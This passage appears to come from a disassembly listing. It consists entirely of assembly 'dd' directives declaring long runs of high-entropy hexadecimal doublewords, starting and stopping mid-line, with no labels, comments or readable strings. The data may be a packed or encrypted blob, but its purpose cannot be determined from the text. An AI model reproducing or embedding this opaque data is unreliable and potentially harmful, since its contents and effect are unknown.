0F68D67Eh, 0AF82622Ch, 61750E25h, 87045400h dd 77A4DFh, 8061B551h, 231F48EDh, 0BB1EBC20h, 36895C21h dd 8005D589h, 81EEB259h, 0EBE9CD01h, 294152D2h, 0A5EB7A30h dd 0ED4B1955h, 29B3937Fh, 40B509FDh, 0E75D15E2h, 9BE9840Eh dd 0EC0597DCh, 0BB9AE56Ch, 92BCB43Fh, 0ECE8C8F0h, 0A62F0893h dd 24083526h, 0BF570166h, 3A9A7FA2h, 565C0300h, 484740C8h dd 2B2D364Fh, 0CDB56103h, 42C1FD82h, 6767DFCh, 751063CAh dd 58161496h, 1E109EA4h, 0CEF84AFAh, 9C183581h, 0E8BF840Dh dd 54ECF37Bh, 868B444Eh, 885107DBh, 4BCC4FCEh, 25F374A3h dd 0A0A93C5Dh, 0B1D177Eh, 0DA0154C5h, 0E083208h, 2E9835Bh dd 0C42A4455h, 0FFBFD473h, 609FC08Ch, 0F9B98392h, 3648544Dh dd 6F528CCh, 612EC20Ah, 0CA14ED1Ah, 29084080h, 595BDA17h dd 8B5AC8B6h, 50A94B8Ch, 7D4028DAh, 61066851h, 590DEB7Bh dd 29674C78h, 7DC19A40h, 9F08F6AEh, 0AC20AC71h, 0E604F10Fh dd 0CE0184C7h, 3A84F0F8h, 310616BDh, 4E0858B5h, 0EB110EAFh dd 2E3B68A2h, 20FD665Fh, 0E9135DE2h, 3421C122h, 2801601Eh dd 0C53F4F0h, 0A5A67FE1h, 0A7A2A7Bh, 0B0809D25h, 0BA200D66h dd 0E90B7C62h, 2C95DA12h, 12328EE7h, 0DB7F0067h, 0E94BCE15h dd 79DE4476h, 6306D4C2h, 4F415735h, 5801C746h, 493C7698h dd 329CD3F7h, 0B3EAA08Ah, 0F32F5250h, 7C3F37ECh, 60D1A74Fh dd 137F2D03h, 0BB4B4A49h, 4A80CB2Ch, 8A4EFC87h, 0C601268Dh dd 0DB544BAh, 488B4AA2h, 4D32DC89h, 0D608E612h, 2EDBF501h dd 0E16FA522h, 4C63361Ah, 0A2E9C25Ah, 0B566D510h, 6DB02232h dd 7D2477EDh, 4ACFAB5Bh, 49144E73h, 0F09650C8h, 11696800h dd 875F6BC4h, 0D5F730EFh, 0FA28E908h, 0FD13AE91h, 0F5F44404h dd 4E656802h, 609BDECh, 0F46D455Ah, 1B4C81ACh, 80E001E9h dd 29D7C1ABh, 72F77012h, 41D924D1h, 9CE0324Bh, 55526970h dd 0D02D7E4Fh, 9F5F1406h, 0A8BC5350h, 453AFE59h, 0FC51C66Ch dd 5F3A9E30h, 345BEBC0h, 0F4E3E437h, 27589ECBh, 82B6C570h dd 0E3F0808Ch, 0BE5A5CB5h, 4B6D0CDEh, 699CD299h, 1C47BF1Fh dd 46A41A88h, 780BAB0h, 0B151E0CCh, 19C16179h, 8859E428h dd 0C4657BB8h, 0CA00F675h, 80D4865Ah, 385E6BF4h, 6584C502h dd 68F7187Dh, 0C94D4E7Eh, 20B525Bh, 90E36C7Dh, 0EE2027FBh dd 2D203AEEh, 69C29F57h, 930B0E41h, 0A907661Ah, 0E1593BA2h dd 0D56C5F85h, 0F327DBD4h, 67DF6C3Ah, 9D34AA81h, 0E9610271h dd 0A22BED3Ch, 0BC2778ACh, 4948A993h, 102DD06h, 349D28E4h dd 58323074h, 0DB4A08E5h, 0CBB1E18h, 0C8CB290Bh, 5C27A44Eh dd 22AB2CBAh, 31709F51h, 2C02E581h, 50AFC447h, 4C61F616h dd 196B24h, 1747F54Ch, 252B7C5Dh, 5FA56EDBh, 98E2A46Dh dd 4F2B1652h, 1A5C26A9h, 85813507h, 0EA2DE55Eh, 68E98C90h dd 0C0469D92h, 0A276DEh, 0C008F580h, 0E5D005EDh, 0F370C5F0h dd 62E9EE09h, 0E9BDF45Fh, 614B77DEh, 2C294B4h, 84605758h dd 0B1204697h, 14F9E61h, 875163E3h, 0F311816Fh, 91AEAA23h dd 0CCA3B47Eh, 0A403E348h, 0C50B5BE6h, 4FA56EE9h, 0A652AA05h dd 0FC921EAh, 0E20960C8h, 0F82A5881h, 50CA209h, 4A1E81E1h dd 0E36800A9h, 0F2659D79h, 0A4C3E989h, 0A2AE5C18h, 39FAD3E9h dd 0C79204A1h, 0CB13D197h, 1340224Ah, 0B89DD4E7h, 0FA23123Bh dd 0CC931561h, 825EF63Fh, 4A8B63E9h, 513D8464h, 0E50127BBh dd 264E278h, 884233Ah, 0A6714043h, 60092516h, 0D6E99B40h dd 90E8A84Ah, 56AE42C4h, 0BB0164ABh, 76E06613h, 0A68A4A0Bh dd 6E6C103Dh, 5959054Bh, 42278C55h, 0E7DCAA5Fh, 0BF27F8F5h dd 0CBDD59EAh, 0FDE0D16Eh, 0C3015B89h, 0C05A1684h, 2D51EB1Eh dd 16CF29F6h, 13BDAC55h, 5EE9FC01h, 0C73AF470h, 9C437C0Ah dd 283C8C1Ch, 16B708EFh, 0AF3C40A0h, 0EA80B5A8h, 6C4CB392h dd 3CFE975Ch, 0C12D6848h, 20B04C25h, 554AE721h, 444FD3E7h dd 179BDBDFh, 0E94F9EA8h, 66600524h, 1CAABD61h, 0F97DF4BBh dd 93DB1876h, 14A7F5DDh, 0EC78FB22h, 5F28D204h, 43C5EE07h dd 25CA1DEAh, 0E9221075h, 410D4AFDh, 21616547h, 9597866h dd 7D4911E4h, 0FE31B082h, 1F708175h, 4E94466Eh, 840BBF3h dd 0C4C69F5Eh, 0DBE18725h, 0C5FB4246h, 4E816CD7h, 32B00CB4h dd 0D9DD30D2h, 0B9004E90h, 0D17157Ah, 261AE181h, 838EB061h dd 0E61001E3h, 0D9915A42h, 55D9207Ah, 0D2B145FBh, 1E526122h dd 41EE20EBh, 0AB67A40h, 68B5512Eh, 0ED4B27AFh, 4AC23C50h dd 3BF7109h, 1FBE201h, 0D3685908h, 6FE9D99Dh, 24B18D02h dd 0F68CC0FDh, 0B45007D9h, 5BE480BCh, 0E687AC07h, 665AF4ECh dd 0D9B11FACh, 545201CAh, 0B075A26Fh, 9A711CE9h, 20492F50h dd 75954771h, 2B317D8Ah, 0BBCD2F2Ah, 60885301h, 7B94204Fh dd 57ADBAFh, 0BE59CD29h dd 88AF8DD4h, 0C09AC107h, 28408696h, 4D03D783h, 0E12F1829h dd 0EFC2FEA5h, 5D0E0488h, 44D206DBh, 9E53E15h, 4F57D158h dd 76E214E9h, 0DE40E077h, 2EFC2525h, 80EF0FCh, 0FC640BE9h dd 6AA4C244h, 0F9BE26Eh, 0C023E909h, 1979BDBCh, 20346268h dd 0D40BC1E4h, 9F093548h, 0F731477Ch, 31DE7106h, 0B2FD012Fh dd 0D9ABF72Ah, 0BBC03077h, 0E6031810h, 497ECA23h, 5831DA27h dd 7B4C0FB9h, 0E5A04E4Ah, 5DC4084Dh, 0CDC22397h, 400DC9AFh dd 0E5452301h, 50FF789Dh, 0A891CC4Ah, 7980F4A7h, 90A27E3Ch dd 0E4CE1DC4h, 4300AC07h, 0F1810E5Dh, 0E99D7D61h, 0A886122Fh dd 0EBE913A0h, 84EE1DC4h, 0D029EA1Bh, 3EA5806Fh, 485FA661h dd 0ED81A8C0h, 842913FBh, 60E2B821h, 0AF420D38h, 0A1CDF457h dd 30550E5h, 0B652027Fh, 0E0B753E0h, 0F438E295h, 0C4800780h dd 22798E4Eh, 8EC6E0CDh, 7F6E70BDh, 9CEE24D6h, 59E5109Dh dd 0BA5201FFh, 47BD0248h, 5075D6Ch, 0D0DE5480h, 2743B72Dh dd 0FFE91D17h, 565E5145h, 0FAE7359Dh, 97FB4433h, 8CE11680h dd 164E146Fh, 660AF2B8h, 29C6D73h, 3D873EBAh, 0F2FE5E72h dd 79DD7516h, 1A83B908h, 8F55A6F6h, 40A16B40h, 7736B873h dd 1DA1780h, 579A09C2h, 266A3877h, 5D408207h, 95CFFBAEh dd 412FA9F0h, 92265CE8h, 4BA6513Eh, 0A3B981E2h, 0E840FB06h dd 93B5F347h, 508CC16Ah, 5B81F77Eh, 0E90B288Eh, 0E9536684h dd 35124893h, 0B2D90585h, 0B4795E2Fh, 6C0FEA1Fh, 2CA984F9h dd 3A5AD9FBh, 39E13070h, 0E95C0B61h, 0AE7C84CBh, 0CE315941h dd 88FF1C9h, 112F387h, 60E9D3A4h, 0AC402BB1h, 5AF95CA7h dd 245F9289h, 67946206h, 0E12E9456h, 4C982AAEh, 0B068125Dh dd 6F8F8C52h, 0F73DE567h, 0F7077172h, 0B8F2C4E6h, 61688BA9h dd 10B42689h, 3116A042h, 1425EFEFh, 3060A0F1h, 0FD611BD9h dd 0BAC7121Dh, 731C3008h, 3D3CA744h, 0CF688B58h, 9F9CFD4Ah dd 1D968D96h, 0F7CD15BBh, 4F22CB9Eh, 0E7209066h, 6BB32CBBh dd 4A83207Ch, 0F0D3D5B9h, 0EE12818Bh, 0A21D70B4h, 32C7CE9Dh dd 0C6C74316h, 56404552h, 7B6810B9h, 2E53F203h, 14A5492h dd 8366460Eh, 24D6E9DDh, 56B15B70h, 2D0CF06Bh, 8854AAA9h dd 966BE3C0h, 0B3215856h, 58DE250h, 311EFB71h, 2D2470D1h dd 2E272F68h, 5B97E04Dh, 0B7BE8055h, 7510791Eh, 1469968Ch dd 0C169CF5Fh, 4E7E0B4Ch, 0B58905B4h, 6953F4BAh, 0F752977Ch dd 1FFE8309h, 0D218DC2Dh, 0AEF3C77Fh, 0A5B50C37h, 1712709Fh dd 0A7A05411h, 0F7FB1887h, 5AE908D7h, 2D1740B6h, 7C472FBDh dd 4BF571Ch, 807B1E5Ah, 613DE318h, 0F8014A13h, 0D5A8A285h dd 61B2701h, 0A8A96BE9h, 0A5F0B5E1h, 5725BDB6h, 8EF46EABh dd 82C5E658h, 0DC80B541h, 0B13B51D4h, 30F97EBBh, 6C29BBCh dd 63CE2885h, 0B050A8CBh, 0E0C00407h, 0ABF72408h, 0E96BCE01h dd 7581A2D1h, 41685EF2h, 5B043350h, 1D4284C9h, 0C10F0956h dd 6F01267Fh, 2ACBDBCDh, 4ED3A2F4h, 0B48A2EAh, 8F0D4A57h dd 0C2A2AB5Bh, 595F7E07h, 0A2B06A4Bh, 55212D68h, 0A15F6A5Ah dd 2A7BECB7h, 0B7FAAF93h, 1209DB50h, 0FF6B1164h, 0C4A188h dd 26234948h, 4C5E44E9h, 749AFF7h, 36072860h, 0FDF221AFh dd 0AE824690h, 3ADCF160h, 0FE0A7D25h, 3B760E4Ch, 0F20116EBh dd 2BE834E9h, 71C0EBD2h, 0E5E96419h, 0DC282F39h, 0A3FE4A95h dd 0BA2579FAh, 0F4626AC1h, 421CC8BFh, 0DB71ADEEh, 0DE8F062Dh dd 0A9314A3Bh, 0D4AAD240h, 1DBE80A9h, 2D023E42h, 0F7E8D148h dd 3E5CD0h, 9833C025h, 0C4093552h, 75029001h, 0B182E11Ah dd 0B579FBFh, 44C5E5Fh, 0EF5BDE89h, 8C38E31h, 6F10367Dh dd 0D83012B3h, 5E95CBBAh, 2A490A8h, 6CB4E936h, 2A95A0DDh dd 99694FD0h, 0C709E432h, 0E7FC942Dh, 0EEF150BFh, 11615B16h dd 4524E0F8h, 0E2B11259h, 124A78E5h, 0EA5B574Fh, 8085CA56h dd 31C2E7F2h, 8CF08EAh, 0BB019406h, 40D3239Eh, 0AF3BC30h dd 153A0AF6h, 0E3E98488h, 0DE09A8B4h, 0A0730A49h, 0C0B0B666h dd 80020FE6h, 32C442CEh, 0A6CCAB5Fh, 83D16EEBh, 0ACDA4EA9h dd 0DDE58EAh, 0C28CD3D9h, 0CC875A02h, 1B61823Fh, 0C5C91055h dd 0F275EE5Eh, 98E7FDEFh, 0B7878896h, 72FE05C0h, 0C619C37h dd 2D041941h, 8EA503Fh, 4D2D0948h, 0BE290F46h, 0C51C86A7h dd 0BDC1F32Fh, 0E9AE1A98h, 682FE289h, 67A7744Ch, 62079150h dd 945FEEDEh, 3353506h, 4B69E81Dh, 0E9A92CBAh, 21CE1F2Fh dd 4151675Bh, 12A2B03Eh, 0F5B12F16h, 3EED2917h, 613DCE16h dd 2FBD4FAh, 18B27F21h, 1BAA4FF7h, 0F6160C83h, 2BAC5D35h dd 4A73F2C0h, 12D061B4h, 55F61081h, 66AC2C0Bh, 21674D9h dd 0E9F00EE1h, 0ACFE58F9h, 6BA302D3h, 12583716h, 201DC976h dd 0D041810Dh, 837FD869h, 7ADE931h, 8BAFE5D9h, 44B3E291h dd 4267BFDh, 0D13006B2h, 2A03AE5Ah, 0CBE2B551h, 2183B4EBh dd 0FCB1E4DEh, 81048CC5h, 5D3BDECh, 2B3599BAh, 0AE806462h dd 4638A6F1h, 1F99F0Ah, 0A896C742h, 0E612D470h, 0C45E66BCh dd 64D48059h, 324B9945h, 0DAFBEE1h, 0BB9D0C72h, 0E9564A01h dd 5F5CC99Eh, 45F4AAA3h, 0B70EC348h, 4CC53FF2h, 2AEC80C6h dd 0FCC925E5h, 0E92D83D0h, 52B85D0h, 17CC94EEh, 0DD40AACAh dd 1E9D029h, 5CE8B7B0h, 745D1E68h, 0F9FC8BF0h, 75B9809Dh dd 0BF045D3Eh, 7A05A179h, 0E8B1E974h, 0B092FFA8h, 3C1F5E05h dd 49D23334h, 0A46B9DB1h, 0AD69E7Bh, 0A51437EFh, 8831B06Ah dd 772CC377h, 1E42C3CEh, 6D640FE1h, 3A84C945h, 6D6197E5h dd 0C770407Ah, 8688CCE8h, 0BBD36997h, 743A7BADh, 0EBA4A609h dd 1F4DBC5Ah, 0DEEF8B53h, 90C85432h, 0C82538C9h, 0BDF39C5Fh dd 0E9066ED3h, 4C34DAB3h, 6701DC53h, 4D73576Ah, 417CC645h dd 9350B511h, 486D1F85h, 0C4AA1332h, 0BF728552h, 0CA42A0CBh dd 4A342101h, 3A86E966h, 8AEA2612h, 0CB410Bh, 1F0556FFh dd 27EC4748h, 25B5C06h, 2D4F75E9h, 0E3482DFEh, 0D8494E82h dd 830FF759h, 0A80A044Ah, 0B84C402Fh, 0C0356613h, 8E0308EFh dd 0A9B2D01h, 0F3B55A5h, 0A4CB56FEh, 0C34FEFFAh, 0E98294B2h dd 0E755583Ch, 0E26809A4h, 106B897Fh, 0B1ACC0D9h, 0F829096Eh dd 0EF933404h, 71F20131h, 0EA16BB05h, 2D68C62Ch, 1EF679B8h dd 0D9C7F5Ah, 732DF2B9h, 0E9D21281h, 441C10CEh, 0D3C1E65Bh dd 4C5A9FCh, 0ADDDAB44h, 0B99B210h, 91155B68h, 6E3D313Eh dd 52E95D60h, 0AF96B959h, 3A85CF81h, 363B11FEh, 0B2EFB989h dd 0E040D011h, 0C9CF43C8h, 0E6FCE5C2h, 4A9B8EAAh, 57F69FC5h dd 0F44910h, 0C21DAA05h, 772522h, 35780364h, 516F4652h dd 4AF5D0B7h, 9E4EA891h, 0D75FFA4Bh, 0EA9A6593h, 281EC9F3h dd 53CBF42Fh, 39FED5D2h, 73178C9Eh, 823F71A5h, 49DFC191h dd 8AFF01ECh, 88D16807h, 325B73DAh, 0F51A8754h, 60F1E750h dd 5082D12Ch, 36C167F6h, 93ADC253h, 0EB923D5Ch, 876021BFh dd 998C7BBBh, 4DB9649Fh, 0C418FD5Bh, 1582505Eh, 430209F7h dd 6B47A669h, 292524BFh, 0C1685382h, 0BEBE9905h, 58420E30h dd 9A06247Fh, 0C66B173h, 0F302DF00h, 0BB535619h, 4F127CBEh dd 60ECD01Eh, 6E13022Fh, 34EB5C29h, 5B0C0B3Ah, 1C096A62h dd 6DE6B202h, 9DDF703h, 283F97D0h, 0AF150557h, 88507D41h dd 0E3CD53DCh, 8B99853Ah, 31BA4176h, 60ACF13Eh, 2997EFC1h dd 0A64A74FAh, 9D0908CEh dd 89EF2909h, 0E7255FDDh, 3344AA5Dh, 69EF4B66h, 99A680DEh dd 4E063959h, 2DB80B50h, 35507747h, 5060860h, 0F0DD0F7h dd 3C6B37B9h, 0C3A0CE0Eh, 915F2D59h, 33B6FC73h, 5E09CF26h dd 62EDD956h, 1551EA1Dh, 274F0788h, 5904FE71h, 98BECE01h dd 0E760899Dh, 0A5602F96h, 5BE97A62h, 0E236D3DAh, 34D2D593h dd 4DB38E48h, 0BA3E6097h, 90129FAEh, 0D85D1762h, 0AF08411h dd 25F67C85h, 37D040ECh, 89A03E56h, 0A3062CDh, 89081D20h dd 296B3723h, 7E59803Dh, 74F20D58h, 8AE910C6h, 6E575CF1h dd 0B56C4325h, 2DEE71BDh, 5A54A182h, 687C58C1h, 68D8D6E6h dd 0B3645F4Fh, 7D4110E9h, 622C5A0Fh, 0D80EC54Eh, 783BDDh dd 0B353515Bh, 303CB160h, 0E1E9D909h, 5D3A1AEDh, 25279CCCh dd 3CE8F2F5h, 61878107h, 6035BC45h, 920F67F1h, 132FCA7Eh dd 9F625B6Ah, 0E26626F7h, 99575788h, 8104D358h, 3E4137CDh dd 5CEA9035h, 6034929Ch, 533BEAD2h, 7704D48h, 375C41CAh dd 22ABE660h, 0D80848ECh, 0BF17CD05h, 46E7003Fh, 0F77BAE10h dd 64DD530h, 0B0B0ED81h, 0E9BA18C7h, 8058B916h, 28DAEB0Ah dd 66C281D8h, 46856152h, 0E796483Ch, 0E5267D2Fh, 5E52A5D5h dd 15E9627Eh, 0C29468FDh, 0DD47C940h, 925E79C3h, 5E189AEDh dd 0E11B3387h, 7CEB8282h, 5FED2182h, 0EC65C108h, 0CABDDC2Ah dd 0E4F3C1CBh, 5E00B62Ah, 0ABDA70C3h, 0C92E7DD7h, 0AED84F79h dd 90FC7920h, 0F489553Ch, 500BF92Ah, 53125233h, 7601156Fh dd 1F112DC8h, 0E933BD41h, 0D57ED531h, 0E901BBB9h, 2EEC16FBh dd 88FEF021h, 0E90520BFh, 9CEA756Ah, 0F4F85DB0h, 0C0169865h dd 0E2808EC0h, 4FC2E6A2h, 0ECB8F11Bh, 58F6302Eh, 4DAF639h dd 0F13AE9D2h, 648158ECh, 0F03DE74Dh, 0AFBFD45Ch, 0E5CFA039h dd 0C0481E6Dh, 0A8BDC711h, 0FABD2761h, 319B60D7h, 7754702Dh dd 440013Bh, 0DAF0038Dh, 442A59F1h, 0A9523168h, 0DF29C7D6h dd 9DAA6ADFh, 0B137681h, 0F82A3152h, 4572050Eh, 4BB1283h dd 10DEC166h, 0C66C2F99h, 0BC249102h, 0AA92324Dh, 0A812E534h dd 0EF954627h, 6ADA08h, 0C5FE35B5h, 0FB7F6866h, 523C48BFh dd 802E0CB2h, 87067AF2h, 24058849h, 53422D75h, 0DBC67FF7h dd 0FC07F102h, 0C151015Ch, 403C5A1Ch, 0D655B34Bh, 0E9820EF8h dd 0D25D8170h, 0E34CC1BCh, 0B9637F3Ah, 81E1A75Fh, 805A4F1Ah dd 90CD5B21h, 51685200h, 0DD30585Ah, 0E0787EC5h, 0BC762BAh dd 854A95E9h, 0AC988CF8h, 2D91345Ch, 3CD101h, 0D5486F68h dd 31395E59h, 1A454CFEh, 0DF3B7D6Ch, 0E9D56E62h, 0A46B0595h dd 555FE99Fh, 59E8BE91h, 51C22072h, 86085B5h, 0EC748087h dd 776C073h, 9F6BE43Ch, 0F40F01C4h, 32EDEE45h, 92C21C09h dd 58E746Ch, 0AB6F1B68h, 94952CCCh, 9BEE8163h, 203BC912h dd 6819DDB3h, 0CD0C65A7h, 9806D8F0h, 0D2BE0970h, 5D5289F2h dd 99638E2Ch, 0DA4494C5h, 6BC3E3D0h, 0CFB6D1B7h, 89EA6581h dd 2E5C3D69h, 819B594h, 3DA7DF4Ch, 0DC24E8EEh, 0D4275B61h dd 752C0B7Bh, 0F409B1Ah, 0D1E462Ah, 0F39F537Dh, 35E9D805h dd 33BFC853h, 0A0E2CB9Eh, 7F90D3F0h, 0AB5BEF50h, 5F48B841h dd 0AFB10151h, 0EF8050B7h, 2784609Bh, 34FBC24Ah, 6AA8A0h dd 81459A11h, 171912EFh, 0B8293491h, 590840DFh, 8050ED2h dd 50EF15DCh, 1C68081Ch, 155B1723h, 679EF2F3h, 0DCAD30C7h dd 4DE9E15Ah, 5F4224FDh, 81671649h, 62C9583Dh, 18235A20h dd 0BE517169h, 0F50F79E8h, 0B883E911h, 0EDFF63Ch, 0C062E780h dd 0D709046Fh, 0F70B6B56h, 2681773Eh, 3BC4B4E9h, 0B52708F3h dd 302C28E1h, 7C4F4AEEh, 5778C644h, 5CE23AE8h, 2FFEECCAh dd 0F57E2225h, 895DAB34h, 0DC10D5BAh, 6E312ABFh, 0E8F8142Dh dd 6702BE00h, 0C1468E0Eh, 0FEBCD2E6h, 1DDE6402h, 0B7F017E9h dd 0F6C8FE00h, 530604D0h, 0F5C77288h, 829E1420h, 9BCCA3C2h dd 0ABBB44F0h, 0FD5FE904h, 8990EDA3h, 74504B78h, 0FE535EFh dd 0AB80B053h, 3D08E94Dh, 1212B9Eh, 0AE9F8055h, 8E440614h dd 5A6008C3h, 8F8CC115h, 157C601h, 208C8ACBh, 0EC08B86Dh dd 4005D340h, 0C340D457h, 3091E396h, 77A1180Fh, 0C4650210h dd 13178008h, 0FF087418h, 0ED638235h, 8D66307Bh, 20082411h dd 21317178h, 44BF20AAh, 8C90CD01h, 89B2B10h, 180362E2h dd 0CA027794h, 0EC470381h, 4CF40810h, 1583D008h, 0B610561Bh dd 0EE9E2061h, 892EF31h, 2801C7D2h, 7E20882Eh, 0B2D508CAh dd 0C6E4408h, 0D3086991h, 0DF55E640h, 18F490D1h, 69086554h dd 0ED4180F3h, 0DF29C380h, 1094D028h, 8C18AB9Ah, 0A9851870h dd 0C64AFA80h, 8485910h, 79F57732h, 0E95306A0h, 2034FA31h dd 88C0F12h, 671895B9h, 8A087862h, 66A103EAh, 512E2033h dd 0A8488D3Ah, 72A0396Bh, 293F5833h, 0B10186Dh, 0B7340889h dd 80F7BC80h, 28C404DAh, 0EA0A557Ch, 46838CC0h, 95F9C418h dd 1080B208h, 2F1850C5h, 0CE8608FFh, 9853A981h, 3330FEE7h dd 0FE0879F9h, 19335110h, 10623C3Eh, 91032B12h, 40087710h dd 71C6481Eh, 40995482h, 884071B8h, 96084002h, 65915B66h dd 10836239h, 85038731h, 92081B20h, 93171DAh, 31F921D2h dd 19FB801h, 108A3C39h, 99EC4562h, 24AA0886h, 0CF40FD1Ch dd 0CE9240E6h, 1F31AC92h, 48E10807h, 73A01888h, 107BB50Ch dd 0DE374029h, 0D8208C92h, 826A3284h, 0E8A32C20h, 1012FC58h dd 3048DED9h, 0D817086Ah, 0C19B363Bh, 90F55469h, 88B0A904h dd 25C9AC51h, 88EB4401h, 8728110h, 0CB0AD51Ah, 8E90A4A6h dd 891B119h, 57BC519Fh, 0D8208864h, 90CD155Bh, 8BF6018h dd 18C68A2Eh, 2008272Fh, 4E207CA4h, 44524926h, 18A1ED10h dd 3208B451h, 4020C430h, 996C0CEEh, 12E0A837h, 92CC80A7h dd 80962980h, 8C80EFE5h, 4C10C940h, 70C42CA3h, 0C4A2182Ah dd 0F9DC9355h, 68590218h, 80C49828h, 10C64E70h, 13D1F54Dh dd 22E8FC9Ch, 0ECC05FA4h, 1EC94792h, 33B8788Bh, 3B1044AAh dd 25EC0E5h, 896313EBh, 7AA7B90Eh, 105003Dh, 49408F44h dd 750BC90Bh, 78748BF7h, 3DE165Ah, 33F731F0h, 0B10FE0C0h dd 2C304F35h, 666C22FBh, 7A8A2EC9h, 5088B7C2h, 4A25FAEDh dd 0F556ABCDh, 75D90101h, 0C76E6410h, 3EE1373Bh, 28F79FA6h dd 0E4CFDB99h, 4BAFCA21h, 0EB800300h, 4318239Bh, 0E9C230F3h dd 0EE142827h, 0B6521F16h, 5AF54225h, 61D5EDD0h, 83D480E3h dd 3AD4702Ch, 0E94E04E8h, 59A3D700h, 5619DE05h, 0E9A2C01Fh dd 0D9BDC437h, 0D6024B15h, 9CD5CBB3h, 0EF05074Ah, 503B4627h dd 7F304BE5h, 0D3FCE910h, 7C88591Dh, 12BA00Bh, 886E1E57h dd 94036836h, 44E90EA8h, 5A27383Ch, 331BD7A1h, 4829D9B2h dd 0A75FB4C0h, 52A0C8E8h, 384ED468h, 11A167BDh, 53909D1Ch dd 0C098C8Dh, 0CC8F5F7Ah, 0AD286104h, 59834AC5h, 91166AA3h dd 7A16B6DDh, 0CDE24030h, 27FD01EBh, 0B150B0CBh, 42A6DB9Dh dd 0AA9EFBF3h, 1AD90124h, 0E04FF210h, 68A27DAFh, 0C307D276h dd 5CB97C4Eh, 5DF90E0Ch, 0EB017623h, 8AD006AEh, 47E9170Bh dd 6210A5FDh, 0A6327A43h, 0F89C9D1h, 0A8FE8324h, 22E18736h dd 35407A3Dh, 7EB753C1h, 3FC77EA6h, 0EF0F0EF7h, 5B25209Eh dd 0AFA50F50h, 1CA9E3B6h, 74F8484Fh, 0CF9BC8BFh, 5620026Fh dd 17ACE91Eh, 0C604BC82h, 6E27E0D5h, 199DC44Ah, 0DC5125Ah dd 4105DFDh, 895E1F45h dd 236A123Ch, 2BDD4240h, 625A3391h, 506F8A59h, 9CE7009h dd 0AD93C1EDh, 58351674h, 0FC04F0A7h, 0E41AF641h, 3001B6DAh dd 0E9504C5Ch, 0B37EAB82h, 2CFBD70Dh, 0A2405F1Fh, 348C0B0Dh dd 0BC053AEh, 6F5F8016h, 0CE0340BDh, 2C9E7B1Eh, 7319EEB0h dd 2D30FE03h, 0BCDB7F1Dh, 0F06C4BAh, 0C7095E07h, 0B442CF7Ch dd 0E3D54BA1h, 0FBF0CFC3h, 0AC413568h, 4F953EC0h, 2F54D24h dd 0E5A4C9FAh, 2BD01740h, 95212328h, 0D1A56225h, 59BF4125h dd 0E94BC823h, 0D438EF28h, 0E53CB397h, 617B71AFh, 88108717h dd 168259E8h, 682DB022h, 620C9EF7h, 0FE84E8B3h, 0FD0BEE5Bh dd 2118DD8Eh, 0D5B0BE9h, 0E2DCA7F5h, 5B0ECBBDh, 274C0957h dd 1ED8655Bh, 4E76E75Eh, 1A4B9405h, 49F1FE00h, 0EC19432Ah dd 631C0CC1h, 3C0C69A1h, 0A58F4C16h, 955B98A0h, 0BF87408h dd 18774E9Ah, 0C5CC3B12h, 0E16E6C9h, 0C6C04CCAh, 7EC42299h dd 0D82FE0A0h, 29574001h, 0D1F75EF1h, 45054A8Ah, 0FB51259Dh dd 4021E343h, 2568E91Bh, 1CC6140Dh, 0E65CA92Fh, 33AE0984h dd 86803DD5h, 722F91EAh, 0E9A03B5Bh, 0A62E2FE9h, 7A34423h dd 3ABD5A03h, 0D1466216h, 61408C09h, 7B136091h, 0D2E03235h dd 540D6E9h, 44B5081Eh, 6656C9DDh, 346055F6h, 977E7728h dd 0C827AEEh, 0D711400h, 0A7993988h, 7447840Bh, 0BA52E095h dd 264D585Ah, 364D0B91h, 12E37448h, 0FC234F64h, 42F1DDDCh dd 0FE5866E6h, 0C9B8AAC0h, 46BA66A0h, 140C6F24h, 2CBBF312h dd 30BFCC03h, 2D0F34B2h, 3584C57h, 7B823E3Ah, 1369882Ah dd 0BDAEE926h, 0CAEC8081h, 0E2EBE508h, 0C6EEDD1Eh, 904F3B7h dd 0BB5DFBE4h, 860FD9C1h, 0F5B8556Bh, 1FA85313h, 53CB9654h dd 0D420FB43h, 4CF22DF3h, 0F7355B54h, 0D6E6AD0Dh, 8C6B12B2h dd 9FAA9CD7h, 2F614EF8h, 0E3C7805Eh, 3CE1EECCh, 0C63AFE28h dd 8E864EDBh, 0F8DCFD5Ah, 5E7E1F43h, 8463E014h, 1A933816h dd 0B43B09F1h, 137AD8EAh, 8151BB30h, 0E7AB0347h, 7025125h dd 0E789DF59h, 0A18EA754h, 9DAA1367h, 0CE2820B3h, 496A011Ah dd 3AE1030Ch, 40C1CA6Ch, 800A2FA5h, 7122E05h, 1AB5596h dd 0BEA52125h, 5BC42F13h, 0BAD23CE9h, 16BAE9DCh, 54D2E0Bh dd 8962B4DAh, 51F56CE4h, 0A3396A7Ch, 1A7DCE00h, 0E7134C97h dd 8E60B800h, 0B659E97Eh, 0CEBB41B9h, 9209AFB4h, 68AD0922h dd 665440EAh, 1B0AA360h, 568DFA61h, 45028877h, 3174EE6Dh dd 0BC2804F5h, 0AC9B35BAh, 0A55126E9h, 1C6EBD8Eh, 7ABEDE27h dd 70599954h, 0D2009965h, 2E1271C5h, 4305D07h, 0CC014860h dd 5952DC41h, 11390F2Fh, 5F514720h, 0CBAE31D4h, 0A2E91284h dd 8CBF3A40h, 0E410557Dh, 69AC0068h, 0E95D2C19h, 0BBA4EA2Bh dd 8BCB145Ah, 0A29DAC4Fh, 0DCE70983h, 47A8E985h, 13FF5E52h dd 8478BD11h, 0AA12DCE5h, 0C609B01Ch, 83890058h, 165AF130h dd 34273168h, 0D046C04Ch, 0A48CE80h, 67B3298h, 88FA00F6h dd 0BB30E9F7h, 0ED81762Ch, 51201E55h, 207EDDA6h, 4E00EFF6h dd 10E5936h, 0A8B850F7h, 0B058C708h, 6AF945EAh, 79B87257h dd 6C31AE4Bh, 0E02EF9F7h, 8D9028C2h, 82A1754Ch, 0FD0E5D8Ch dd 9247900h, 13427E6h, 8007CD7h, 5F5E575Ah, 0DF5327E9h dd 63622354h, 9F5355E7h, 0DE124B24h, 0F2D7DF0h, 1EC2650h dd 0EF875845h, 6260708Ch, 0E2D11085h, 1D3344D7h, 0E6548DEAh dd 0F6130D7Ch, 0F4367822h, 0B76DCC2h, 9F03EF76h, 0F0B144Ah dd 22049C0Ch, 8904AE93h, 0C083F301h, 4C06C926h, 8A2EEBE1h dd 5EC1616Ah, 652546E9h, 0DCE0E935h, 2F19D03h, 1E251E4h dd 0A22A461h, 0CF6220B8h, 4A2A8B90h, 7F802FB0h, 0BA4CE78h dd 0DAA53991h, 538E593Fh, 4D3F815Bh, 933141D6h, 2954CC25h dd 809D4AAh, 3E6EE482h, 0FFF32948h, 5B896714h, 6B5902F4h dd 